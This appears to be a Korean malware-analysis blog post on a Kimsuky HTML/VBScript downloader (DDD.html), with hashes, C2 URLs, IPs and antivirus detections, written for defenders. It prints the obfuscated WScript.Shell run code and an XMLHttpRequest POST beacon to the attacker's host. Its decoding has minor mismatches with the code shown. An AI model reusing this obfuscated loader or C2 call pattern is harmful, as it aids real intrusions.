북한 김수키(Kimsuky)에서 만든 악성코드-DDD.html(2023.03.27)

오늘은 북한 해킹 조직 중 하나인 김수키(Kimsuky,キムスキー)는 기본적으로 한국의 싱크탱크,산업계,원자력 발전소 그리고 대북 관계자, 그리고 탈북단체에서 운영하는 주요인물을 대상으로 조직적으로 해킹하고 있으며 한국의 퇴역 장교(특히 대북 기밀 다루었던 분), 전·현직 외교관, 전·현직 정부기관에 일하고 있든 일을 하고 있지 않든 아무튼 대북 관련 단체이며 해킹을 하고 있으며 그리고 최근 영업이 러시아, 미국 및 유럽 국가로 확장하고 있으며
김수키 라는 이름은 이 그룹의 공격을 처음 보고한 러시아의 보안기업 카스퍼스키 가 도난당한 정보를 보내는 이메일 계정 이름이 김숙향(Kimsukyang)이었기 때문이며 Gold Dragon,Babyshark,Appleseed 등 수많은 악성코드를 사용했으며 전직 이름 탈륨(Thallium), 벨벳 천리마(Velvet Chollima), 블랙반시(Black Banshee) 등으로 불리고 있으며 해당 악성코드는 자바스크립트로 작성된 악성코드입니다.
해쉬값은 다음과 같습니다.
파일명:DDD.html
사이즈:24.6 KB
CRC32:7a9f5726
MD5:ec3c0d9cbf4e27e0240c5b5d888687ec
SHA-1:76f3f377aa66f9beaa8a103a4dd67f4fdcbeaa0d
SHA-256:7a45a529b275cfaa6ebde88bf00413a11c0f701bf9e1e7e93ef27423fd17e3f5
SHA-512:af3c54c21b140ff22dff066a3ede1c3693fae3c8740c563643af827c1cd403c3ad0905f86a745b2d5162a2793719e6bf6498f6d51ecb8dd51ec46e4a5673e880

악성코드 실행

해당 html 파일을 열어 보면 그냥 아무것도 없는 것처럼 보이지만 해당 웹 소스를 열어보면 다음과 같이 VBScrip 돼 있습니다.
일단 해당 코드를 보면 다음과 같습니다.

악성코드 자바스크립트

hidzswxm = CreateObject((c)hcynykm("5(7)") & chcynykm("5(3)") & chcynykm("6(3)") & chcynykm("7(2)") & chcynykm("(6)9") & chcynykm("7(0)") & chcynykm("74") & chcynykm("2(e)") & chcynykm("53") & chcynykm("6(8)") & chcynykm("6(5)") & chcynykm("6c") & chcynykm("6(c)"))
tsyyeplx = "pvm(y)lavlmrawlvxldqmygayk"
hidzswxm.run chcynykm("7(4)") & chcynykm("(6)1") & chcynykm("(7)3") & chcynykm("(6)b") & chcynykm("(6)b") & chcynykm("6(9)") & chcynykm("6(c)") & chcynykm("6(c)202f69") & chcynykm("6d2(0)6d") & chcynykm("7(3)") & chcynykm("6(8)") & chcynykm("7(4)") & chcynykm("61") & chcynykm("2(e)") & chcynykm("6(5)") & chcynykm("7(8)") & chcynykm("6(5)") & chcynykm("2(0)") & chcynykm("2(f)") & chcynykm("6(6)"), 0, true

이걸 해석을 하며 다음과 같습니다.
문자열 WScri와 .Shell을 연결하여 WScript.Shell을 만들고
WScript.Shell 객체를 만들어 변수 hidzswxm에 할당
문자열 pvmylavlmrawlvxldqmygayk 를 변수 tsyyeplx에 할당
hidzswxm 객체의 Run 메소드를 호출하여 다음 명령을 실행
taskkill /im mstsc.exe" : mstsc.exe 프로세스를 강제 종료
shutdown /s /t 0":시스템을 종료
mstsc.exe 프로세스를 강제 종료하고 시스템을 종료

WScript.Shell 관련 코드

xdbkvnsh.open "POST", "http://zetaros.000webhostapp(.)com/search?fz=ZjRHZHFkbFA0UExjdTlGWDNZNENqWW5ZTUxURTR0Y0JGVmRtNkl4S0VDZz0%3D", false

POST 방식 으로 인터넷 접속

이며 XMLHttpRequest 객체의 open 메소드를 호출하는 코드도 포함돼 있으며 POST 방식으로

http://zetaros.000webhostapp(.)com/search"

URL에 요청을 보내고, 요청의 파라미터로 "fz=ZjRHZHFkbFA0UExjdTlGWDNZNENq(W)W5ZTUxURTR0Y0JGVmRtNkl4S0VDZz0%3D" 값을 전송 마지막 인자인 false는 비동기적으로 요청을 처리하지 않고, 동기적으로 요청을 처리하도록 설정합니다.
HTTP 요청

http://zetaros.000webhostapp(.)com/search
http://zetaros.000webhostapp(.)com/search?fz=ZjRHZHFkbFA0UExjdTlGWDNZNENqWW5ZTUxURTR0Y0JGVmRtNkl4S0VDZz0%3D
http://zetaros.000webhostapp(.)com/search?fz=ZjRHZHFkbFA0UExjdTlGWDNZNENqWW5ZTUxURTR0Y0JGVmRtNkl4S0VDZz0=
http://zetaros.000webhostapp(.)com/search?uy=VjVlMFRjY1FBZjFLS1gyV1A5ZUVLU1FPYm1WSGZKVmpJbkJ0UXFuUStHOTUxRC9JZWtNZU5aRnMwdEFlNURnSlFlV1ZQSzlVdWkwL2dHQUF5NDNzNWNaRWZKaE1CSkhPU3

IP 트래픽

145.14.144(.)162:80(TCP)
145.14.145(.)67:80(TCP)

VirusTotal(바이러스토탈)2023-03-24 17:55:29 UTC 기준 탐지하는 보안 업체들은 다음과 같습니다.
AhnLab-V3:Downloader/VBS.Kimsuky.S1997
ALYac:Trojan.Downloader.Script.gen
Arcabit:VBS:Electryon.58
BitDefender:VBS:Electryon.58
DrWeb:Trojan.Siggen20.12667
Emsisoft:VBS:Electryon.58 (B)
eScan:VBS:Electryon.58
ESET-NOD32:VBS/TrojanDownloader.Agent.YND
GData:VBS:Electryon.58
Google:Detected
Ikarus:VBS.Electryon
Kaspersky:HEUR:Trojan.Script.Generic
Lionic:Trojan.Script.Generic.4!c
MAX:Malware (ai Score=88)
NANO-Antivirus:Trojan.Script.Vbs-heuristic.druvzi
Symantec:ISB.Houdini!gen7
Trellix (FireEye):VBS:Electryon.58
VIPRE:VBS:Electryon.58
ViRobot:Script.S.Downloader.25229
본적으로 사견(私見)으로 북한정찰총국의 지원을 받는 공격 집단의 공격 중 하나가 아닐까 생각이 되며 기본적으로 윈도우 디펜더 이든 안랩 V3이든 간에 백신 프로그램 설치해서 실시간 감시, 실시간 업데이트 통해서 해당 악성코드들은 차단할 수가 있을 것입니다.